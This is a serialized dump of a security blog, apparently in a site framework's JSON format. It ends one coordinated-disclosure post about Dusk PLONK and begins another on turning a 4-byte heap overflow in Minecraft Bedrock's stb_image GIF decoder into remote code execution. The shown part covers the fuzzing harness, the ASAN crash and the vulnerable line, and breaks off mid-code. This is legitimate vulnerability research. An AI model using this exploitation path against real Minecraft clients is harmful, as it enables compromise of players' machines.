acknowledged",{"type":24,"tag":124280,"props":148312,"children":148313},{},[148314,148318],{"type":24,"tag":124311,"props":148315,"children":148316},{},[148317],{"type":29,"value":148305},{"type":24,"tag":124311,"props":148319,"children":148320},{},[148321],{"type":29,"value":148322},"Dusk fix committed",{"type":24,"tag":124280,"props":148324,"children":148325},{},[148326,148331],{"type":24,"tag":124311,"props":148327,"children":148328},{},[148329],{"type":29,"value":148330},"2026-02-27",{"type":24,"tag":124311,"props":148332,"children":148333},{},[148334,148336,148347],{"type":29,"value":148335},"Public ",{"type":24,"tag":101,"props":148337,"children":148340},{"href":148338,"rel":148339},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[105],[148341],{"type":24,"tag":154,"props":148342,"children":148344},{"className":148343},[],[148345],{"type":29,"value":148346},"dusk-rusk-1.6.0",{"type":29,"value":148348}," release published",{"type":24,"tag":124280,"props":148350,"children":148351},{},[148352,148357],{"type":24,"tag":124311,"props":148353,"children":148354},{},[148355],{"type":29,"value":148356},"2026-03-16",{"type":24,"tag":124311,"props":148358,"children":148359},{},[148360,148362,148368],{"type":29,"value":148361},"Jellyfish fix PR opened (",{"type":24,"tag":101,"props":148363,"children":148365},{"href":148205,"rel":148364},[105],[148366],{"type":29,"value":148367},"#867",{"type":29,"value":521},{"type":24,"tag":124280,"props":148370,"children":148371},{},[148372,148377],{"type":24,"tag":124311,"props":148373,"children":148374},{},[148375],{"type":29,"value":148376},"2026-03-18",{"type":24,"tag":124311,"props":148378,"children":148379},{},[148380,148382,148387,148389],{"type":29,"value":148381},"Jellyfish fix merged in ",{"type":24,"tag":101,"props":148383,"children":148385},{"href":148205,"rel":148384},[105],[148386],{"type":29,"value":148367},{"type":29,"value":148388}," and tagged as ",{"type":24,"tag":101,"props":148390,"children":148392},{"href":148214,"rel":148391},[105],[148393],{"type":24,"tag":154,"props":148394,"children":148396},{"className":148395},[],[148397],{"type":29,"value":148222},{"type":24,"tag":59,"props":148399,"children":148401},{"id":148400},"acknowledgements",[148402],{"type":29,"value":148403},"Acknowledgements",{"type":24,"tag":25,"props":148405,"children":148406},{},[148407],{"type":29,"value":148408},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":7,"searchDepth":213,"depth":213,"links":148410},[148411,148418,148419,148420,148421,148422,148423,148424,148425,148426,148427,148428],{"id":143228,"depth":213,"text":143231,"children":148412},[148413,148414,148415,148416,148417],{"id":143253,"depth":238,"text":143256},{"id":144056,"depth":238,"text":144059},{"id":145254,"depth":238,"text":145257},{"id":145284,"depth":238,"text":145287},{"id":145565,"depth":238,"text":145568},{"id":146298,"depth":213,"text":146301},{"id":146436,"depth":213,"text":146439},{"id":91579,"depth":213,"text":147067},{"id":147666,"depth":213,"text":147669},{"id":147803,"depth":213,"text":147806},{"id":147918,"depth":213,"text":147921},{"id":148011,"depth":213,"text":148014},{"id":148078,"depth":213,"text":148081},{"id":148230,"depth":213,"text":148233},{"id":62097,"depth":213,"text":148262},{"id":148400,"depth":213,"text":148403},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",{"_path":148433,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":148434,"description":148435,"date":148436,"author":124935,"image":148437,"isFeatured":16,"onBlogPage":16,"tags":148439,"body":148442,"_type":4536,"_id":157822,"_source":4538,"_file":157823,"_stem":157824,"_extension":4541},"/blog/2026-06-02-minecraft-heap-overflow-to-rce","Pwning Minecraft: 4-Byte Heap Overflow to RCE","We achieved RCE in Minecraft Bedrock, turning a 4-byte heap overflow into complete client compromise. Learn how a universal, Bedrock-specific technique is used to bypass ASLR and achieve arbitrary read/write primitives.","2026-06-02T12:00:00.000Z",{"src":148438,"width":98546,"height":14857},"/posts/minecraft-heap-overflow-to-rce/title.png",[148440,148441],"minecraft","rce",{"type":21,"children":148443,"toc":157799},[148444,148449,148454,148459,148465,148470,148489,148494,148500,148505,148510,148516,148521,148526,148531,148537,148542,148547,148553,148573,148585,148592,148614,148628,148635,148641,148651,148671,148676,148682,148695,149040,149045,149053,149059,149078,149386,149414,149457,149469,149477,149482,149951,149970,149991,150333,150357,150629,150653,150680,150889,150908,150916,150935,150941,151003,151006,151028,151032,151037,151042,151048,151053,151067,151073,151087,151093,151106,151111,151119,151124,151130,151151,151159,151172,151175,151180,151194,151199,151204,151210,151215,151238,151243,151249,151254,151266,151278,151392,151412,151417,151422,151428,151433,151453,152068,152081,153155,153160,153168,153173,153179,153184,153192,153205,153210,153215,153222,153235,153240,153247,153302,153322,153329,153348,153355,153358,153363,153368,153374,153386,153399,153407,153478,153489,153523,153531,153536,153541,153547,153559,153578,153590,153595,153603,153622,153630,153649,153657,153683,153691,153696,153704,153709,153717,153720,153725,153730,153736,153749,153767,153805,153835,153843,153848,153854,153859,153864,153870,153882,154051,154063,154071,154076,154083,154088,154149,154196,154208,154213,154239,154313,154351,154356,154364,154385,154390,154416,154450,154503,154550,154556,154575,154607,154615,154718,154789,154795,154821,154828,154833,154840,154845,155086,155112,155117,155165,155170,155176,155208,155220,155252,155260,155299,155307,155312,155320,155325,155333,155345,155353,155365,155373,155385,155405,155411,155431,155448,155456,155468,155476,155495,155500,155508,155513,155521,155547,155558,155565,155570,155578,155583,155591,155596,155604,155609,155617,155622,155630,155635,155643,155684,155691,155696,155704,155709,155717,155722,155730,155735,155740,155748,155753,155761,155787,155795,155821,155829,155834,155842,155847,155855,155863,155868,155876,155881,155889,155892,155903,155937,155955,155963,155983,155989,156008,156066,156086,156094,156097,156136,156196,156201,156207,156220,156228,156280,156319,156327,156360,156363,156383,156391,156397,156402,156410,156450,156491,156511,156516,156521,156539,156545,156550,156569,156630,156638,156664,156670,156690,156695,156700,156707,156772,156777,156784,156805,156810,156822,156828,156861,156868,156873,156901,156908,156964,156976,156983,157044,157063,157069,157103,157124,157151,157159,157212,157282,157288,157308,157351,157356,157754,157760,157765,157776,157780,157785,157790,157795],{"type":24,"tag":36636,"props":148445,"children":148447},{"id":148446},"pwning-minecraft-4-byte-heap-overflow-to-rce",[148448],{"type":29,"value":148434},{"type":24,"tag":25,"props":148450,"children":148451},{},[148452],{"type":29,"value":148453},"In this post, we explore how we achieved remote code execution with a 4-byte heap overflow on a target with default modern protections - working around Windows' Control Flow Guard and ASLR on a remote client connecting to a malicious server, without any information leaks from the client.",{"type":24,"tag":25,"props":148455,"children":148456},{},[148457],{"type":29,"value":148458},"We present a powerful technique, specific to our target, which can be used to achieve RCE for bug types such as double frees, use-after-frees, and any heap overflow of at least 3 bytes.",{"type":24,"tag":59,"props":148460,"children":148462},{"id":148461},"the-target",[148463],{"type":29,"value":148464},"The Target",{"type":24,"tag":25,"props":148466,"children":148467},{},[148468],{"type":29,"value":148469},"Minecraft is one of the most popular games of all time, with millions of daily players and a large count of community servers actively played by thousands - this, and the lack of research in this area made it an intriguing target.",{"type":24,"tag":25,"props":148471,"children":148472},{},[148473,148475,148480,148482,148487],{"type":29,"value":148474},"There are two main editions: ",{"type":24,"tag":897,"props":148476,"children":148477},{},[148478],{"type":29,"value":148479},"Minecraft Java Edition",{"type":29,"value":148481},", written in Java and available on desktop platforms (Windows, macOS, Linux), and ",{"type":24,"tag":897,"props":148483,"children":148484},{},[148485],{"type":29,"value":148486},"Minecraft Bedrock Edition",{"type":29,"value":148488},", written largely in C++ and used on consoles like PlayStation and Xbox, mobile platforms, and also available on Windows.",{"type":24,"tag":25,"props":148490,"children":148491},{},[148492],{"type":29,"value":148493},"Given that we were interested in memory corruption bugs we chose the Bedrock Edition. Specifically, we decided to explore the Windows version as the debugging setup was the one we were most familiar with.",{"type":24,"tag":395,"props":148495,"children":148497},{"id":148496},"choice-of-context",[148498],{"type":29,"value":148499},"Choice of Context",{"type":24,"tag":25,"props":148501,"children":148502},{},[148503],{"type":29,"value":148504},"We focused on a malicious-server -> connecting-client threat model because a server controls many inputs, giving a larger, easier-to-reach attack surface than client->client attacks.",{"type":24,"tag":25,"props":148506,"children":148507},{},[148508],{"type":29,"value":148509},"A server can control a large state which includes: the whole world and all entities within, each connected client state such as the position and view angles, and server-provided resource packs which connecting clients will download and parse.",{"type":24,"tag":395,"props":148511,"children":148513},{"id":148512},"resource-packs",[148514],{"type":29,"value":148515},"Resource Packs",{"type":24,"tag":25,"props":148517,"children":148518},{},[148519],{"type":29,"value":148520},"Resource packs are a way to change the look of Minecraft. They specify custom textures and sounds of blocks and entities, while also controlling client-side entity animations.",{"type":24,"tag":25,"props":148522,"children":148523},{},[148524],{"type":29,"value":148525},"A server can provide a custom resource pack to the client upon connecting, which the client can optionally download and load. If the server set the resource pack to mandatory, clients that refuse the resource pack aren't allowed to connect.",{"type":24,"tag":25,"props":148527,"children":148528},{},[148529],{"type":29,"value":148530},"This widens the attack surface to include image and audio parsing - both historically common sources of memory-corruption bugs.",{"type":24,"tag":59,"props":148532,"children":148534},{"id":148533},"finding-a-memory-corruption-bug",[148535],{"type":29,"value":148536},"Finding a Memory Corruption Bug",{"type":24,"tag":25,"props":148538,"children":148539},{},[148540],{"type":29,"value":148541},"Given that Minecraft is a large, closed-source C++ codebase, we wanted to avoid unnecessary reverse engineering; therefore we first looked at the image-parsing code.",{"type":24,"tag":25,"props":148543,"children":148544},{},[148545],{"type":29,"value":148546},"Image parsing is interesting because programs rarely reimplement decoders, they typically use third-party libraries. We hoped Minecraft used an open-source library we could read, which is much easier than reversing a native decoder.",{"type":24,"tag":395,"props":148548,"children":148550},{"id":148549},"locating-image-parsing-code",[148551],{"type":29,"value":148552},"Locating Image Parsing Code",{"type":24,"tag":25,"props":148554,"children":148555},{},[148556,148558,148564,148565,148571],{"type":29,"value":148557},"The simplest way to find code that handles image parsing is to search for expected strings such as ",{"type":24,"tag":154,"props":148559,"children":148561},{"className":148560},[],[148562],{"type":29,"value":148563},"PNG",{"type":29,"value":4028},{"type":24,"tag":154,"props":148566,"children":148568},{"className":148567},[],[148569],{"type":29,"value":148570},"GIF",{"type":29,"value":148572}," and look for error logging or other messages that use those substrings.",{"type":24,"tag":25,"props":148574,"children":148575},{},[148576,148578,148583],{"type":29,"value":148577},"Searching for the string ",{"type":24,"tag":154,"props":148579,"children":148581},{"className":148580},[],[148582],{"type":29,"value":148570},{"type":29,"value":148584}," returned some interesting results:",{"type":24,"tag":25,"props":148586,"children":148587},{},[148588],{"type":24,"tag":84,"props":148589,"children":148591},{"alt":51850,"src":148590},"/posts/minecraft-heap-overflow-to-rce/image1.png",[],{"type":24,"tag":25,"props":148593,"children":148594},{},[148595,148597,148604,148606,148613],{"type":29,"value":148596},"Most - if not all - of these results look like they are used by an image parser. We searched online for the strings and found they match the exact strings used in ",{"type":24,"tag":101,"props":148598,"children":148601},{"href":148599,"rel":148600},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h",[105],[148602],{"type":29,"value":148603},"stb_image.h",{"type":29,"value":148605},". For an example: usage of ",{"type":24,"tag":101,"props":148607,"children":148610},{"href":148608,"rel":148609},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6855",[105],[148611],{"type":29,"value":148612},"bad Image Descriptor",{"type":29,"value":347},{"type":24,"tag":25,"props":148615,"children":148616},{},[148617,148619,148626],{"type":29,"value":148618},"To confirm that the library code was actually used to load images, we created a simple resource pack containing a single GIF image, set a breakpoint at ",{"type":24,"tag":101,"props":148620,"children":148623},{"href":148621,"rel":148622},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6778",[105],[148624],{"type":29,"value":148625},"stbi__gif_load_next",{"type":29,"value":148627},", and loaded the resource pack - this confirmed its usage:",{"type":24,"tag":25,"props":148629,"children":148630},{},[148631],{"type":24,"tag":84,"props":148632,"children":148634},{"alt":51850,"src":148633},"/posts/minecraft-heap-overflow-to-rce/image2.png",[],{"type":24,"tag":395,"props":148636,"children":148638},{"id":148637},"stb-image-library",[148639],{"type":29,"value":148640},"STB Image Library",{"type":24,"tag":25,"props":148642,"children":148643},{},[148644,148649],{"type":24,"tag":154,"props":148645,"children":148647},{"className":148646},[],[148648],{"type":29,"value":148603},{"type":29,"value":148650}," had a number of memory corruption bugs historically, but the known ones were fixed in later revisions. Finding a new 0-day in this library looked relatively hard because it’s widely used and has been well-scrutinized at that point.",{"type":24,"tag":25,"props":148652,"children":148653},{},[148654,148656,148661,148663,148670],{"type":29,"value":148655},"Instead, we checked whether the version used by Minecraft was outdated - if so, previously reported bugs might apply. We inspected ",{"type":24,"tag":154,"props":148657,"children":148659},{"className":148658},[],[148660],{"type":29,"value":148603},{"type":29,"value":148662}," commits and checked whether those changes were present in the Minecraft executable. Eventually, we found that Minecraft was using a fairly old revision - some commit prior to ",{"type":24,"tag":101,"props":148664,"children":148667},{"href":148665,"rel":148666},"https://github.com/nothings/stb/commit/f1f077b2722f55e158cba020f0312ee2d13c463a",[105],[148668],{"type":29,"value":148669},"f1f077b2722f55e158cba020f0312ee2d13c463a",{"type":29,"value":347},{"type":24,"tag":25,"props":148672,"children":148673},{},[148674],{"type":29,"value":148675},"At the time, the commit was already 6 years old, while there were public reports for memory corruption bugs after it. We looked through the reported bugs but didn't find an interesting and applicable one, so we decided to run a simple fuzzing harness on this commit.",{"type":24,"tag":20134,"props":148677,"children":148679},{"id":148678},"fuzzing",[148680],{"type":29,"value":148681},"Fuzzing",{"type":24,"tag":25,"props":148683,"children":148684},{},[148685,148687,148694],{"type":29,"value":148686},"The fuzzer consisted of a very simple ",{"type":24,"tag":101,"props":148688,"children":148691},{"href":148689,"rel":148690},"https://github.com/AFLplusplus/AFLplusplus",[105],[148692],{"type":29,"value":148693},"AFL++",{"type":29,"value":27998},{"type":24,"tag":147,"props":148696,"children":148698},{"code":148697,"language":2907,"meta":7,"className":17751,"style":7},"#define STB_IMAGE_IMPLEMENTATION\n#include \"./stb/stb_image.h\"\n\nint main(int argc, char **argv) {\n int x, y, comp;\n unsigned char *ret;\n\n if (argc != 2) {\n return 1;\n }\n\n ret = stbi_load(argv[1], &x, &y, &comp, 0);\n if (ret == NULL) {\n return 1;\n }\n \n stbi_image_free(ret);\n\n return 0;\n}\n",[148699],{"type":24,"tag":154,"props":148700,"children":148701},{"__ignoreMap":7},[148702,148715,148727,148734,148780,148792,148813,148820,148844,148859,148866,148873,148945,148969,148984,148991,148998,149011,149018,149033],{"type":24,"tag":158,"props":148703,"children":148704},{"class":160,"line":161},[148705,148710],{"type":24,"tag":158,"props":148706,"children":148707},{"style":1914},[148708],{"type":29,"value":148709},"#define",{"type":24,"tag":158,"props":148711,"children":148712},{"style":496},[148713],{"type":29,"value":148714}," STB_IMAGE_IMPLEMENTATION\n",{"type":24,"tag":158,"props":148716,"children":148717},{"class":160,"line":213},[148718,148722],{"type":24,"tag":158,"props":148719,"children":148720},{"style":1914},[148721],{"type":29,"value":91693},{"type":24,"tag":158,"props":148723,"children":148724},{"style":1108},[148725],{"type":29,"value":148726}," \"./stb/stb_image.h\"\n",{"type":24,"tag":158,"props":148728,"children":148729},{"class":160,"line":238},[148730],{"type":24,"tag":158,"props":148731,"children":148732},{"emptyLinePlaceholder":16},[148733],{"type":29,"value":481},{"type":24,"tag":158,"props":148735,"children":148736},{"class":160,"line":259},[148737,148741,148745,148749,148753,148758,148762,148767,148771,148776],{"type":24,"tag":158,"props":148738,"children":148739},{"style":165},[148740],{"type":29,"value":20289},{"type":24,"tag":158,"props":148742,"children":148743},{"style":496},[148744],{"type":29,"value":92058},{"type":24,"tag":158,"props":148746,"children":148747},{"style":188},[148748],{"type":29,"value":504},{"type":24,"tag":158,"props":148750,"children":148751},{"style":165},[148752],{"type":29,"value":20289},{"type":24,"tag":158,"props":148754,"children":148755},{"style":177},[148756],{"type":29,"value":148757}," argc",{"type":24,"tag":158,"props":148759,"children":148760},{"style":188},[148761],{"type":29,"value":191},{"type":24,"tag":158,"props":148763,"children":148764},{"style":165},[148765],{"type":29,"value":148766},"char",{"type":24,"tag":158,"props":148768,"children":148769},{"style":222},[148770],{"type":29,"value":91159},{"type":24,"tag":158,"props":148772,"children":148773},{"style":177},[148774],{"type":29,"value":148775},"argv",{"type":24,"tag":158,"props":148777,"children":148778},{"style":188},[148779],{"type":29,"value":16038},{"type":24,"tag":158,"props":148781,"children":148782},{"class":160,"line":280},[148783,148787],{"type":24,"tag":158,"props":148784,"children":148785},{"style":165},[148786],{"type":29,"value":20319},{"type":24,"tag":158,"props":148788,"children":148789},{"style":188},[148790],{"type":29,"value":148791}," x, y, comp;\n",{"type":24,"tag":158,"props":148793,"children":148794},{"class":160,"line":301},[148795,148800,148804,148808],{"type":24,"tag":158,"props":148796,"children":148797},{"style":165},[148798],{"type":29,"value":148799}," unsigned",{"type":24,"tag":158,"props":148801,"children":148802},{"style":165},[148803],{"type":29,"value":60322},{"type":24,"tag":158,"props":148805,"children":148806},{"style":222},[148807],{"type":29,"value":615},{"type":24,"tag":158,"props":148809,"children":148810},{"style":188},[148811],{"type":29,"value":148812},"ret;\n",{"type":24,"tag":158,"props":148814,"children":148815},{"class":160,"line":626},[148816],{"type":24,"tag":158,"props":148817,"children":148818},{"emptyLinePlaceholder":16},[148819],{"type":29,"value":481},{"type":24,"tag":158,"props":148821,"children":148822},{"class":160,"line":668},[148823,148827,148832,148836,148840],{"type":24,"tag":158,"props":148824,"children":148825},{"style":1914},[148826],{"type":29,"value":3160},{"type":24,"tag":158,"props":148828,"children":148829},{"style":188},[148830],{"type":29,"value":148831}," (argc ",{"type":24,"tag":158,"props":148833,"children":148834},{"style":222},[148835],{"type":29,"value":16924},{"type":24,"tag":158,"props":148837,"children":148838},{"style":465},[148839],{"type":29,"value":9573},{"type":24,"tag":158,"props":148841,"children":148842},{"style":188},[148843],{"type":29,"value":16038},{"type":24,"tag":158,"props":148845,"children":148846},{"class":160,"line":676},[148847,148851,148855],{"type":24,"tag":158,"props":148848,"children":148849},{"style":1914},[148850],{"type":29,"value":16980},{"type":24,"tag":158,"props":148852,"children":148853},{"style":465},[148854],{"type":29,"value":1668},{"type":24,"tag":158,"props":148856,"children":148857},{"style":188},[148858],{"type":29,"value":473},{"type":24,"tag":158,"props":148860,"children":148861},{"class":160,"line":684},[148862],{"type":24,"tag":158,"props":148863,"children":148864},{"style":188},[148865],{"type":29,"value":3967},{"type":24,"tag":158,"props":148867,"children":148868},{"class":160,"line":700},[148869],{"type":24,"tag":158,"props":148870,"children":148871},{"emptyLinePlaceholder":16},[148872],{"type":29,"value":481},{"type":24,"tag":158,"props":148874,"children":148875},{"class":160,"line":785},[148876,148881,148885,148890,148894,148898,148902,148906,148910,148914,148919,148923,148928,148932,148937,148941],{"type":24,"tag":158,"props":148877,"children":148878},{"style":188},[148879],{"type":29,"value":148880}," ret ",{"type":24,"tag":158,"props":148882,"children":148883},{"style":222},[148884],{"type":29,"value":1285},{"type":24,"tag":158,"props":148886,"children":148887},{"style":496},[148888],{"type":29,"value":148889}," stbi_load",{"type":24,"tag":158,"props":148891,"children":148892},{"style":188},[148893],{"type":29,"value":504},{"type":24,"tag":158,"props":148895,"children":148896},{"style":177},[148897],{"type":29,"value":148775},{"type":24,"tag":158,"props":148899,"children":148900},{"style":188},[148901],{"type":29,"value":2048},{"type":24,"tag":158,"props":148903,"children":148904},{"style":465},[148905],{"type":29,"value":5672},{"type":24,"tag":158,"props":148907,"children":148908},{"style":188},[148909],{"type":29,"value":24305},{"type":24,"tag":158,"props":148911,"children":148912},{"style":222},[148913],{"type":29,"value":2212},{"type":24,"tag":158,"props":148915,"children":148916},{"style":188},[148917],{"type":29,"value":148918},"x, ",{"type":24,"tag":158,"props":148920,"children":148921},{"style":222},[148922],{"type":29,"value":2212},{"type":24,"tag":158,"props":148924,"children":148925},{"style":188},[148926],{"type":29,"value":148927},"y, ",{"type":24,"tag":158,"props":148929,"children":148930},{"style":222},[148931],{"type":29,"value":2212},{"type":24,"tag":158,"props":148933,"children":148934},{"style":188},[148935],{"type":29,"value":148936},"comp, ",{"type":24,"tag":158,"props":148938,"children":148939},{"style":465},[148940],{"type":29,"value":5682},{"type":24,"tag":158,"props":148942,"children":148943},{"style":188},[148944],{"type":29,"value":1071},{"type":24,"tag":158,"props":148946,"children":148947},{"class":160,"line":1447},[148948,148952,148957,148961,148965],{"type":24,"tag":158,"props":148949,"children":148950},{"style":1914},[148951],{"type":29,"value":3160},{"type":24,"tag":158,"props":148953,"children":148954},{"style":188},[148955],{"type":29,"value":148956}," (ret ",{"type":24,"tag":158,"props":148958,"children":148959},{"style":222},[148960],{"type":29,"value":1034},{"type":24,"tag":158,"props":148962,"children":148963},{"style":165},[148964],{"type":29,"value":129048},{"type":24,"tag":158,"props":148966,"children":148967},{"style":188},[148968],{"type":29,"value":16038},{"type":24,"tag":158,"props":148970,"children":148971},{"class":160,"line":1509},[148972,148976,148980],{"type":24,"tag":158,"props":148973,"children":148974},{"style":1914},[148975],{"type":29,"value":16980},{"type":24,"tag":158,"props":148977,"children":148978},{"style":465},[148979],{"type":29,"value":1668},{"type":24,"tag":158,"props":148981,"children":148982},{"style":188},[148983],{"type":29,"value":473},{"type":24,"tag":158,"props":148985,"children":148986},{"class":160,"line":1527},[148987],{"type":24,"tag":158,"props":148988,"children":148989},{"style":188},[148990],{"type":29,"value":3967},{"type":24,"tag":158,"props":148992,"children":148993},{"class":160,"line":1545},[148994],{"type":24,"tag":158,"props":148995,"children":148996},{"style":188},[148997],{"type":29,"value":63060},{"type":24,"tag":158,"props":148999,"children":149000},{"class":160,"line":1618},[149001,149006],{"type":24,"tag":158,"props":149002,"children":149003},{"style":496},[149004],{"type":29,"value":149005}," stbi_image_free",{"type":24,"tag":158,"props":149007,"children":149008},{"style":188},[149009],{"type":29,"value":149010},"(ret);\n",{"type":24,"tag":158,"props":149012,"children":149013},{"class":160,"line":1635},[149014],{"type":24,"tag":158,"props":149015,"children":149016},{"emptyLinePlaceholder":16},[149017],{"type":29,"value":481},{"type":24,"tag":158,"props":149019,"children":149020},{"class":160,"line":1644},[149021,149025,149029],{"type":24,"tag":158,"props":149022,"children":149023},{"style":1914},[149024],{"type":29,"value":18227},{"type":24,"tag":158,"props":149026,"children":149027},{"style":465},[149028],{"type":29,"value":2025},{"type":24,"tag":158,"props":149030,"children":149031},{"style":188},[149032],{"type":29,"value":473},{"type":24,"tag":158,"props":149034,"children":149035},{"class":160,"line":1652},[149036],{"type":24,"tag":158,"props":149037,"children":149038},{"style":188},[149039],{"type":29,"value":307},{"type":24,"tag":25,"props":149041,"children":149042},{},[149043],{"type":29,"value":149044},"And soon after starting the fuzzer it found an interesting bug:",{"type":24,"tag":147,"props":149046,"children":149048},{"code":149047},"=================================================================\n==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x52d000008800 thread T0\n #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233\n #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n [...]\n #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326\n #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443\n #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573\n #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989\n #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088\n #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174\n #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164\n [...]\n",[149049],{"type":24,"tag":154,"props":149050,"children":149051},{"__ignoreMap":7},[149052],{"type":29,"value":149047},{"type":24,"tag":20134,"props":149054,"children":149056},{"id":149055},"investigating-the-finding",[149057],{"type":29,"value":149058},"Investigating the Finding",{"type":24,"tag":25,"props":149060,"children":149061},{},[149062,149064,149070,149071,149076],{"type":29,"value":149063},"The ASAN output shows that at line ",{"type":24,"tag":154,"props":149065,"children":149067},{"className":149066},[],[149068],{"type":29,"value":149069},"6233",{"type":29,"value":144570},{"type":24,"tag":154,"props":149072,"children":149074},{"className":149073},[],[149075],{"type":29,"value":148603},{"type":29,"value":149077}," an attempt was made to write a single byte out-of-bounds. Looking at the nearby source:",{"type":24,"tag":147,"props":149079,"children":149081},{"code":149080,"language":2907,"meta":7,"className":17751,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n stbi_uc *p, *c;\n int idx; \n\n [...]\n\n if (g->cur_y >= g->max_y) return;\n\n idx = g->cur_x + g->cur_y; \n p = &g->out[idx];\n g->history[idx / 4] = 1; // OOB write\n",[149082],{"type":24,"tag":154,"props":149083,"children":149084},{"__ignoreMap":7},[149085,149127,149134,149160,149173,149180,149188,149195,149249,149256,149302,149335],{"type":24,"tag":158,"props":149086,"children":149087},{"class":160,"line":161},[149088,149092,149096,149101,149106,149110,149114,149119,149123],{"type":24,"tag":158,"props":149089,"children":149090},{"style":165},[149091],{"type":29,"value":52316},{"type":24,"tag":158,"props":149093,"children":149094},{"style":165},[149095],{"type":29,"value":52321},{"type":24,"tag":158,"props":149097,"children":149098},{"style":496},[149099],{"type":29,"value":149100}," stbi__out_gif_code",{"type":24,"tag":158,"props":149102,"children":149103},{"style":188},[149104],{"type":29,"value":149105},"(stbi__gif ",{"type":24,"tag":158,"props":149107,"children":149108},{"style":222},[149109],{"type":29,"value":577},{"type":24,"tag":158,"props":149111,"children":149112},{"style":177},[149113],{"type":29,"value":110576},{"type":24,"tag":158,"props":149115,"children":149116},{"style":188},[149117],{"type":29,"value":149118},", stbi__uint16 ",{"type":24,"tag":158,"props":149120,"children":149121},{"style":177},[149122],{"type":29,"value":154},{"type":24,"tag":158,"props":149124,"children":149125},{"style":188},[149126],{"type":29,"value":2125},{"type":24,"tag":158,"props":149128,"children":149129},{"class":160,"line":213},[149130],{"type":24,"tag":158,"props":149131,"children":149132},{"style":188},[149133],{"type":29,"value":1710},{"type":24,"tag":158,"props":149135,"children":149136},{"class":160,"line":238},[149137,149142,149146,149151,149155],{"type":24,"tag":158,"props":149138,"children":149139},{"style":188},[149140],{"type":29,"value":149141}," stbi_uc ",{"type":24,"tag":158,"props":149143,"children":149144},{"style":222},[149145],{"type":29,"value":577},{"type":24,"tag":158,"props":149147,"children":149148},{"style":188},[149149],{"type":29,"value":149150},"p, ",{"type":24,"tag":158,"props":149152,"children":149153},{"style":222},[149154],{"type":29,"value":577},{"type":24,"tag":158,"props":149156,"children":149157},{"style":188},[149158],{"type":29,"value":149159},"c;\n",{"type":24,"tag":158,"props":149161,"children":149162},{"class":160,"line":259},[149163,149168],{"type":24,"tag":158,"props":149164,"children":149165},{"style":165},[149166],{"type":29,"value":149167}," int",{"type":24,"tag":158,"props":149169,"children":149170},{"style":188},[149171],{"type":29,"value":149172}," idx; \n",{"type":24,"tag":158,"props":149174,"children":149175},{"class":160,"line":280},[149176],{"type":24,"tag":158,"props":149177,"children":149178},{"emptyLinePlaceholder":16},[149179],{"type":29,"value":481},{"type":24,"tag":158,"props":149181,"children":149182},{"class":160,"line":301},[149183],{"type":24,"tag":158,"props":149184,"children":149185},{"style":188},[149186],{"type":29,"value":149187}," [...]\n",{"type":24,"tag":158,"props":149189,"children":149190},{"class":160,"line":626},[149191],{"type":24,"tag":158,"props":149192,"children":149193},{"emptyLinePlaceholder":16},[149194],{"type":29,"value":481},{"type":24,"tag":158,"props":149196,"children":149197},{"class":160,"line":668},[149198,149202,149206,149210,149214,149219,149223,149228,149232,149237,149241,149245],{"type":24,"tag":158,"props":149199,"children":149200},{"style":1914},[149201],{"type":29,"value":53916},{"type":24,"tag":158,"props":149203,"children":149204},{"style":188},[149205],{"type":29,"value":2262},{"type":24,"tag":158,"props":149207,"children":149208},{"style":177},[149209],{"type":29,"value":110576},{"type":24,"tag":158,"props":149211,"children":149212},{"style":188},[149213],{"type":29,"value":14991},{"type":24,"tag":158,"props":149215,"children":149216},{"style":177},[149217],{"type":29,"value":149218},"cur_y",{"type":24,"tag":158,"props":149220,"children":149221},{"style":222},[149222],{"type":29,"value":9917},{"type":24,"tag":158,"props":149224,"children":149225},{"style":177},[149226],{"type":29,"value":149227}," g",{"type":24,"tag":158,"props":149229,"children":149230},{"style":188},[149231],{"type":29,"value":14991},{"type":24,"tag":158,"props":149233,"children":149234},{"style":177},[149235],{"type":29,"value":149236},"max_y",{"type":24,"tag":158,"props":149238,"children":149239},{"style":188},[149240],{"type":29,"value":723},{"type":24,"tag":158,"props":149242,"children":149243},{"style":1914},[149244],{"type":29,"value":49728},{"type":24,"tag":158,"props":149246,"children":149247},{"style":188},[149248],{"type":29,"value":473},{"type":24,"tag":158,"props":149250,"children":149251},{"class":160,"line":676},[149252],{"type":24,"tag":158,"props":149253,"children":149254},{"emptyLinePlaceholder":16},[149255],{"type":29,"value":481},{"type":24,"tag":158,"props":149257,"children":149258},{"class":160,"line":684},[149259,149264,149268,149272,149276,149281,149285,149289,149293,149297],{"type":24,"tag":158,"props":149260,"children":149261},{"style":188},[149262],{"type":29,"value":149263}," idx 